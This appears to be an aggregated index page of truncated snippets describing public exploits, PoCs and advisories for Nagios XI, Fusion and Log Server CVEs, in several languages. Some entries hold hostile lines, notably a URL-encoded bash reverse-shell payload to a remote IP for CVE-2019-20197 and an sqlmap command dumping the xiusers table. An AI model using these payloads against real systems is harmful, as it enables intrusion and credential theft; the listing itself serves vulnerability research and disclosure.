CVE-2024-24402

漏洞报告 CVE 发现者: Jarod Jaslow MAWK 漏洞详情: 端点: Nagios XI Version 2024R1.01 漏洞类型: 来自用户 "NAGIOS" 的权限提升 利用结果: 在目标系统上获得完整的 root 访问权限 复现步骤: 1. 创建 Nagios XI Version 2024R1.01 的新实例: 从以下地址下载 Nagios XI OVA 文件: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova 部署 OVA 以创建新实例。...

CVE-2023-40933-PoC

CVE-2023-40933 用于利用 CVE-2023-40933 的 sqlmap 有效载荷 有效载荷 所需信息： 有效的用户名和密码 托管实例的域名和路径 sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=updatebannermessagesettings&id=3&token=curl -ksX POST https:///nagiosxi/api/v1/authenticate -d...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs 向 Nagios XI 报告的漏洞 CVE-2021-25296 代码位置 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 代码片段 if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2019-20197

CVE-2019-20197 Nagios XI远程命令执行漏洞 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

NagiosXI <= 5.4.12 - SQL injection

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/info.php key1 parameter. id: CVE-2018-10736 info: name: NagiosXI = 5.4.12 - SQL injection author: DhiyaneshDK severity: high description: | A SQL injection issue was discovered in Nagios XI before 5.4.13 via the...

Nagios XI <5.8.5 - Open Redirect

Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2022-29272 info: name: Nagios XI 5.8.5 - Open Redirect...

NagiosXI <= 5.4.12 `commandline.php` SQL injection

A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter. id: CVE-2018-10735 info: name: NagiosXI = 5.4.12 commandline.php SQL injection author: DhiyaneshDk severity: high description: | A SQL injection issue was discovered in Nagios XI before...

Session-Persistence-After-Enabling-2FA-CVE-2025-60425

2FA有効化後のセッション永続性 概要 Nagios Fusionアプリケーション（バージョン2024R1.2および2024R2）には、2要素認証（2FA）を有効にした後でも既存のセッションが有効のままになるという重大なセキュリティ上の欠陥が存在します。具体的には、管理者アカウントで2FAを有効にした場合、アプリケーションは2FA有効化より前に確立されたすべてのアクティブセッションを無効化できません。これにより、古いセッションにアクセスできる攻撃者または不正ユーザーが2FA機構をバイパスし、不正な操作を実行できるようになります。 以下の問題が確認されました：...

2FA-Bypass-using-a-Brute-Force-Attack-CVE-2025-60424

使用暴力破解攻击绕过 2FA 概述 Nagios Fusion 应用程序（版本 2024R1.2 和 2024R2）容易受到针对其双因素认证（2FA）机制的暴力破解攻击。具体而言，该 2FA 实现未充分实施速率限制或账户锁定机制，允许攻击者通过反复猜测一次性密码（OTP）来绕过 2FA。 观察到以下问题： 缺乏速率限制 ：2FA 端点不限制 OTP 提交尝试的次数。 锁定策略薄弱 ：多次 OTP 尝试失败后不会触发账户锁定，使暴力破解攻击能够得逞。 存在未授权访问风险 ：凭借充足的计算资源，攻击者可以绕过 2FA 并获取对敏感账户（包括管理员账户）的未授权访问。...

CVE-2024-24401

漏洞报告 CVE 发现者：Jarod Jaslow MAWK （设计用于在 KALI LINUX 上运行） 备注 Nagios 已在所有最近的下载中修补了 2024R1.0.1 版本。要判断目标是否存在漏洞，请确保他们使用的是 2024R1.0.1 的旧版下载。 更新后的脚本会检查目标系统是否存在漏洞 OVA NAGIOS 用户凭据：mawk:mawk 下载：https://1drv.ms/u/s!Aj-SNbxrSxWZh51fp476lHxNHGd6jA?e=AX3mJU 漏洞详情： 端点： /nagiosxi//config/monitoringwizard.php Nagios ...

CVE-2019-20197

Nagios XI远程命令执行漏洞CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8...

CVE-2023-47400

CVE-2023-47400 CVE-2023-47400 の概念実証 認証済みのPHPリモートコード実行（Nagios XI 5.11.0 の任意ファイル書き込みを利用） !Note このPoCはNCCグループが公開した技術勧告に基づいています https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/ このPoCは以下のプロセスに従います： 有効な画像ファイル placeholder.jpg...

Fedora 45 : nagios-plugins (2026-c213ad9471)

The remote Fedora 45 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2026-c213ad9471 advisory. Update to upstream bz2453492 checkicmp: host-count overflow leads to heap buffer overflow bz2513957 Update 0012-fix-perl-ntp-ipv6.patch to allow uppercase...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC en Python para el CVE-2019-15949 Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la...

CVE-2023-48084

CVE-2023-48084 针对 CVE-2023-48084 的 Python 漏洞利用程序 - Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool. 该漏洞利用程序通过 /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= 执行 SQL 查询，并利用盲 SQL 注入... 用法 克隆仓库并安装...

CVE-2024-24401

漏洞报告 CVE 发现 （设计用于在 Kali Linux 上运行） 说明 Nagios 已在所有近期下载中修补了版本 2024R1.0.1。要判断目标是否存在漏洞，请确保他们使用的是旧版 2024R1.0.1。 更新后的脚本会检查目标系统是否存在漏洞 漏洞详情： 端点：/nagiosxi//config/monitoringwizard.php Nagios XI 版本 2024R1.0.1 漏洞类型：已验证的 SQL 注入 利用结果：创建管理员账户并实现完全远程代码执行 概念验证： 附带了演示该漏洞的 Python 脚本 建议： 为降低 SQL...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

CVE-2025-29471

Stored XSS Vulnerability in Nagios Log Server Privilege Escalation to Admin ▶️ PoC Demo Date: 2025-04-02 Exploit Author: Seth Kraft Vendor Homepage: https://www.nagios.com/ Vendor Changelog: https://www.nagios.com/changelog/log-server Software Link:...

CVE-2025-44823

Nagios Log Server 2024R1.3.1 における認証済みAPIキーの露出 ▶️ PoCデモ CVE ID: CVE-2025-44823 日付: 2025-04-02 著者: Alex Tisdale, Seth Kraft ベンダーホームページ: https://www.nagios.com/ ベンダーチェンジログ: https://www.nagios.com/changelog/log-server ソフトウェアリンク: https://assets.nagios.com/downloads/nagios-log-server/versions.php バージョン:...